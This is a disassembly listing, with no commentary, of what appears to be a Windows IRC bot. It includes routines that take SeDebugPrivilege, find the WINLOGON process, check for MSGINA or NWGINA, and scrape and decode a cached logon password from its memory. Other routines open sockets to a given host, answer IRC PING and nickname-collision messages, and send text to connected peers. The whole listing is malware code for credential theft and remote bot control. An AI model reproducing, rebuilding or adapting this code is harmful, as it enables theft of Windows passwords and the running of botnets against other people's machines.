		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 2C923BE8h, 5E5F9002h, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 339556E8h, 0C0859002h
		dd 75FF8F75h, 9172E8FCh, 0FF900232h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E8905650h, 23394CFh, 0B175C085h, 0EDE89056h
		dd 8B023290h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 2780000h
		nop
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 268098Bh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27B0244h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27A0C8Dh
		nop
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27408DAh
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2660868h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 268098Bh
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B0244h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0C8Dh
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2790000h
		nop
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	near ptr 2660868h
		nop


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2660868h
		nop
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27A0BB5h
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0BB5h
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

